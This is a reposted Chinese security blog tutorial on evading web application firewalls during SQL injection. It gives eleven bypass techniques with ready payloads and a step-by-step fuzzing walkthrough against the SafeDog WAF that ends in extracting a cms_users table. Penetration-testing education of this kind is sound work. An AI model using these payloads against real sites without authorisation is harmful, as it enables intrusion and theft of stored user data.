文章总结: 该文档系统介绍了SQL注入绕过WAF的实战方法,详细解析了WAF防护机制并提供了11种具体绕过技术,包括大小写变异、编码混淆、注释干扰等。通过安全狗绕过的完整案例演示了fuzz测试流程,从探测注入类型到最终数据提取均包含可操作步骤。文章强调仅供学习交流,禁止非法使用。 综合评分: 75 文章分类: WEB安全,渗透测试,实战经验,安全工具,漏洞分析
SQL注入绕过WAF的方法,找到了!
原创
d0ublewei d0ublewei
大伯为安全
2025年11月23日 18:00 湖北
在小说阅读器读本章
去阅读
d0ublewei 来啦!
太忙了,断更许久,很多师傅催更,来一期!
这次我们聊聊SQL注入时遇到WAF该如何绕过?
什么是 WAF
WAF(Web Application Firewall)即 Web 应用防火墙。WAF 会过滤、监视和阻止与 Web 应用程序交互的 HTTP 流量。它与常规防火墙不同,常规防火墙主要用于允许或阻止不同网络区域之间的流量,而 WAF 能够过滤特定 Web 应用程序的内容。通过检查 HTTP 流量,它可以防止源自 Web 应用程序的安全漏洞攻击,例如 SQL 注入、跨站脚本攻击,文件上传和远程命令/代码执行等。
- 全面检测WEB代码
- 深入检测 HTTP/HTTPS 流量
- 强大的特征库
WAF 的分类
软件型 WAF:D 盾、云锁、安全狗等
硬件型 WAF:深信服、绿盟、安恒等
云 WAF:腾讯云、百度云、创宇盾等
网站内置的 WAF:网站系统内置的 WAF 直接镶嵌在代码中,相对来说自由度更高,同时与业务更加契合
WAF 的防护机制
WAF 解析 HTTP 请求,检测 HTTP 请求中的参数是否存在恶意的攻击行为,如果请求中的参数和 WAF 中的规则库所匹配,那么 WAF 则判断此条请求为攻击行为并进行阻断,反之则放行。当然,目前也有很多基于语义分析的 WAF,防护能力更强!如:雷池
常见绕过 WAF 的方法
一是利用一些字符或命令来变换 SQL 注入语句进行混淆从而绕过 WAF 的规则库。
二是利用 WAF 可能存在的 HTTP 协议解析缺陷来绕过 WAF 。
方法1:大小写绕过
部分 WAF 只匹配纯大写或纯小写的字符,对大小写敏感。
union select 可改写为 uNion seLEct
方法2:编码绕过
针对 WAF 过滤的字符通过编码绕过,如 URL 编码、Unicode 编码、十六进制编码等。
union select 1,2,3# 可改写为 union%0aselect 1\u002c2,3%23 # 其中 %0a=空格、\u002c=逗号、%23=井号
selsect * from users where name='admin' 可改写为 selsect * from users where name=0x61646d696 # 其中 0x61646d696 是 admin 的十六进制表达
方法3:注释符干扰
插入注释符(如 /**/、– 1、#)分割 SQL 关键字,绕过正则匹配。
union select 可改写为 un/**/ion sel/**/ect
admin' or 1=1-- 可改写为 admin'/**/or/**/1=1--
方法4:空格变异
对空格进行编码(如 %20、%09、%0a、%0b、%0d、%a0),绕过匹配。
union select 可改写为 union%09select
or 1=1 可改写为 or%0a1=1
方法5:字符串拼接
动态拼接 SQL 关键字,避免直接匹配黑名单。
select 可改写为 concat('sel','ect')
方法6:参数污染
提交多个同名参数,WAF 检测第一个,后端使用最后一个。
?id=1/*&id=2' union select 1,2,3-- */
WAF 看到 id=1/*&id=2' union select 1,2,3-- */ # 安全
后端解析 id=2' union... # 注入成功
方法7:缓冲区溢出绕过
超长字符串可能使 WAF 检测模块崩溃或跳过检测。
admin'/*…………………………...[1000+字符]*/and 1=1 --
方法8:非常规协议请求
使用非标准 HTTP 方法或头字段绕过协议校验。
debug /api?q=1' union select 1,2,3 HTTP/1.1
X-Forwarded-For:127.0.0.1
方法9:等价函数替换
使用功能相同的函数或语法,绕过检测。
version() 可改写为 @@version
sleep() 可改写为 benchmark()
= 可改写为 like、in、between、>、<
substr() 可改写为 mid()、substring()
方法10:内联注释
利用 MySQL 特有的 /*!xxx*/ 注释,WAF 可能忽略但数据库仍然执行。
union select 可改写为 /*!union*/ select、/*!/*!union*/*/select
or 1=1 可改写为 /*!or*/ 1=1
方法11:善用盲注技巧
使用不同的函数或语法得到相同的结果,绕过检测。
123 and left((select hash from users limit 0,1),1)='B' 可改写为 strcmp(left((select hash from users limit 0,1),1),0x42)+123
方法N……
SQL 注入 WAF 绕过的操作方法
这里我们使用 FUZZ 大法对安全狗进行绕过测试,过程仅供交流学习,请勿用于非法用途,否则后果自负!!!
探测注入类型
输入以下参数进行测试
?id=33 and 1=1
发现被拦截了,但是拦截的关键字未知。
尝试删除 1=1
观察到并未对语句进行拦截,但是有报错(正常现象)。
再加上 1=1 但是不加空格试试
还是被拦截了,这里应该是识别到 and 和 1=1 同时出现,并把它过滤掉。
通过增加特殊字符进行 fuzz,使用 burpsuite 进行抓包后,右键发送至 intruder。在图示位置添加注入点,配置为爆破模式,使用的字符串为 /*!%0a,长度为 3。
?id=33 and/**/1=1
爆破完成后,按照 length 进行排序后,发现存在成功绕过的 payload。
这里确定是数字型注入
同时发现有两个成功的 payload,我们选第一个。
要注意的是如果选择第二个 payload,逻辑会发生变化,在 WAF 端检测就会有区别,导致后续绕过的方法是不同的。
接下来猜表的列数
输入以下参数进行测试
?id=33 order by 15
发现没有拦截
最终发现列数为 15
接下来尝试联合查询
先输入以下参数探测页面回显位置
?id=-33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
被拦截了,然后发现单独用 union、select 不会拦截,用 unionselect 会被拦截。
输入以下参数,继续前面的方法,爆破找到可以绕过的语句。
?id=-33 union/**/select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
这里发现 payload 最大长度为 3 时即可找到需要的语句,任意选一个绕过即可。
查询数据库名字
输入以下参数
?id=-33 union/*a/**/select 1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15
发现有拦截,把括号去掉
依然拦截,所以这里是不能出现 database
继续用 burpsuite 爆破找到绕过 database() 的方法,这里我们采用内联注释包裹 database
?id=-33 union/*a/**/select 1,2,3,4,5,6,7,8,9,10,/*!database*/(),12,13,14,15
成功找到绕过 database() 的方法
查询表名
输入以下参数测试
?id=-33 union/*a/**/select 1,2,3,4,5,6,7,8,9,10,11,12,13,group_concat(table_name),15 from
发现并没有被拦截,但是这样语法是不对的
使用完整语句测试
?id=-33 union/*a/**/select 1,2,3,4,5,6,7,8,9,10,11,12,13,group_concat(table_name),15 from information_schema.tables
被拦截了,删除 from 后面的内容就不拦截了,所以这里是 from 后面不能直接接字符。
经测试,发现和绕过 database() 过滤一样,使用同样的方法即可成功绕过 WAF。
如果同样的方法无法绕过,也可以使用 burpsuite 进行 fuzz。
接下来加入一个 where 语句,输入一个 where 后发现并没有被拦截,直接得到表名信息,完成表的查询。
查询字段名
取 cms_users 表,修改语句,依然没有拦截,查出字段名。
查询表数据
发现单独用 from 或 cms_users 不会拦截,from 后面有内容就会被拦截。
所以和前面一样,这里也是 from 后面不能直接接字符,使用同样的方法即可成功绕过 WAF,提取出表中的数据。
星标、点赞、转发、推荐一键四连,感谢支持
关注公众号,聊天框发送消息”WAF绕过“获取环境和工具
END
往期精彩回顾
墙裂推荐!!一键更换Linux优质的软件源和docker源,要多方便有多方便
frp | 开源内网穿透利器,速速用起来
大闹天宫 | 被安全社区誉为可以“黑掉整个宇宙”的神器-1
Metasploit漏洞利用 | 被安全社区誉为可以“黑掉整个宇宙”的神器-2
Metasploit木马生成 | 被安全社区誉为可以“黑掉整个宇宙”的神器-3
内网渗透 | MSF&FRP | 无法直接访问的目标如何通过搭建代理进一步渗透?
目标网络限制严格CS拿不到权限怎么办?试试这个高级玩法—隧道上线
HVV | 记一次护网Webshell告警分析研判,真真假假
HVV | 记一次护网服务器被攻破的应急响应,有意思
有粉丝问:火绒剑下线了怎么办?注意!有办法但是有风险!
扫码关注
渗透测试
信息安全
安全工具
学习视频戳“阅读原文”一起来充电吧!
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:大伯为安全 d0ublewei d0ublewei《SQL注入绕过WAF的方法,找到了!》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论